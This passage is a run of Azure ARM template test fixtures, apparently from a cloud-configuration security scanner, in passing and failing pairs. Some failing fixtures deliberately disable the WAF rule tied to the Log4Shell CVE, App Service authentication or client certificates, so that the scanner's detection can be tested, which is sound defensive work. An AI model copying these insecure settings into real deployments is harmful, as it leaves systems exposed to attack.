"applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_disabled_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "owasp_3_1_disabled_fail", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleGroupOverrides": [ { "ruleGroupName": "REQUEST-944-APPLICATION-ATTACK-JAVA", "rules": [ { "ruleId": "944240" } ] } ], "ruleSetType": "OWASP", "ruleSetVersion": "3.1" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_2_default_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "owasp_3_2_default_pass", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleSetType": "OWASP", "ruleSetVersion": "3.2" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/version_3_1_default_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.15.31.15270", "templateHash": "7253194970749033988" } }, "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Admin username for the backend servers" } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the admin account on the backend servers" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "vmSize": { "type": "string", "defaultValue": "Standard_B2ms", "metadata": { "description": "Size of the virtual machine." } } }, "variables": { "virtualMachines_myVM_name": "myVM", "virtualNetworks_myVNet_name": "myVNet", "myNic_name": "net-int", "ipconfig_name": "ipconfig", "publicIPAddress_name": "public_ip", "nsg_name": "vm-nsg", "applicationGateways_myAppGateway_name": "myAppGateway", "vnet_prefix": "10.0.0.0/16", "ag_subnet_prefix": "10.0.0.0/24", "backend_subnet_prefix": "10.0.1.0/24", "AppGW_AppFW_Pol_name": "WafPol01" }, "resources": [ { "type": "Microsoft.Network/applicationGateways", "apiVersion": "2021-08-01", "name": "[variables('applicationGateways_myAppGateway_name')]", "location": "[parameters('location')]", "properties": { "sku": { "name": "WAF_v2", "tier": "WAF_v2", "capacity": 2 }, "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]" } } } ], "frontendIPConfigurations": [ { "name": "appGwPublicFrontendIp", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]" } } } ], "frontendPorts": [ { "name": "port_80", "properties": { "port": 80 } } ], "backendAddressPools": [ { "name": "myBackendPool", "properties": {} } ], "backendHttpSettingsCollection": [ { "name": "myHTTPSetting", "properties": { "port": 80, "protocol": "Http", "cookieBasedAffinity": "Disabled", "pickHostNameFromBackendAddress": false, "requestTimeout": 20 } } ], "httpListeners": [ { "name": "myListener", "properties": { "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" }, "frontendIPConfiguration": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]" }, "frontendPort": { "id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]" }, "protocol": "Http", "requireServerNameIndication": false } } ], "requestRoutingRules": [ { "name": "myRoutingRule", "properties": { "ruleType": "Basic", "priority": 10, "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]" } } } ], "enableHttp2": false, "firewallPolicy": { "id": "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "publicIPAddress" ] }, { "type": "Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies", "apiVersion": "2021-08-01", "name": "version_3_1_default_pass", "location": "[parameters('location')]", "properties": { "customRules": [ { "name": "CustRule01", "priority": 100, "ruleType": "MatchRule", "action": "Block", "matchConditions": [ { "matchVariables": [ { "variableName": "RemoteAddr" } ], "operator": "IPMatch", "negationConditon": true, "matchValues": [ "10.10.10.0/24" ] } ] } ], "policySettings": { "requestBodyCheck": true, "maxRequestBodySizeInKb": 128, "fileUploadLimitInMb": 100, "state": "Enabled", "mode": "Prevention" }, "managedRules": { "managedRuleSets": [ { "ruleSetVersion": "3.1" } ] } } }, { "copy": { "name": "myNic", "count": "[length(range(0, 2))]" }, "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2021-08-01", "name": "[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]" }, "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]" }, "primary": true, "privateIPAddressVersion": "IPv4", "applicationGatewayBackendAddressPools": [ { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]" } ] } } ], "enableAcceleratedNetworking": false, "enableIPForwarding": false, "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]", "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]", "nsg", "publicIPAddress" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } }, "resources": [ { "type": "config", "apiVersion": "2019-08-01", "name": "authsettings", "properties": { "enabled": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } }, "resources": [ { "type": "config", "apiVersion": "2019-08-01", "name": "authsettings", "properties": { "enabled": true } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceAuthentication/appServiceAuthentication-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2019-08-01", "location": "[variables('location')]", "name": "[concat(variables('webAppPortalName'), '/authsettings')]", "dependsOn": [ "[resourceId('Microsoft.Web/sites', variables('webAppPortalName'))]" ], "properties": { "enabled": "true" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceClientCertificate/appServiceClientCertificate-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "identity": { "type": "SystemAssigned" }, "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" }, "clientCertEnabled": "true" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceDetailedErrorMessagesEnabled/AppServiceDetailedErrorMessagesEnabled-failed.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sites_pike_name": { "defaultValue": "pike", "type": "String" }, "serverfarms_example_serviceplan_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "[parameters('sites_pike_name')]", "location": "UK South", "kind": "app,linux", "identity": { "type": "SystemAssigned" }, "properties": { "enabled": true, "hostNameSslStates": [ { "name": "[concat(parameters('sites_pike_name'), '.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Standard" }, { "name": "[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]", "sslState": "Disabled", "hostType": "Repository" } ], "serverFarmId": "[parameters('serverfarms_example_serviceplan_externalid')]", "reserved": true, "isXenon": false, "hyperV": false, "vnetRouteAllEnabled": false, "vnetImagePullEnabled": false, "vnetContentShareEnabled": false, "siteConfig": { "numberOfWorkers": 1, "acrUseManagedIdentityCreds": false, "alwaysOn": false, "http20Enabled": true, "functionAppScaleLimit": 0, "minimumElasticInstanceCount": 0 }, "scmSiteAlsoStopped": false, "clientAffinityEnabled": false, "clientCertEnabled": true, "clientCertMode": "Required", "hostNamesDisabled": false, "customDomainVerificationId": "B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5", "containerSize": 0, "dailyMemoryTimeQuota": 0, "httpsOnly": true, "redundancyMode": "None", "storageAccountRequired": false, "keyVaultReferenceIdentity": "SystemAssigned" } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/ftp')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies", "apiVersion": "2022-09-01", "name": "[concat(parameters('sites_pike_name'), '/scm')]", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "allow": true } }, { "type": "Microsoft.Web/sites/config", "apiVersion": "2022-09-01", "name": "failed", "location": "UK South", "dependsOn": [ "[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]" ], "properties": { "numberOfWorkers": 1, "defaultDocuments": [], "netFrameworkVersion": "v4.0", "requestTracingEnabled": false, "requestTracingExpirationTime": "9999-12-31T23:59:00Z", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "VS2019", "httpLoggingEnabled": true, "acrUseManagedIdentityCreds": false, "logsDirectorySizeLimit": 25, 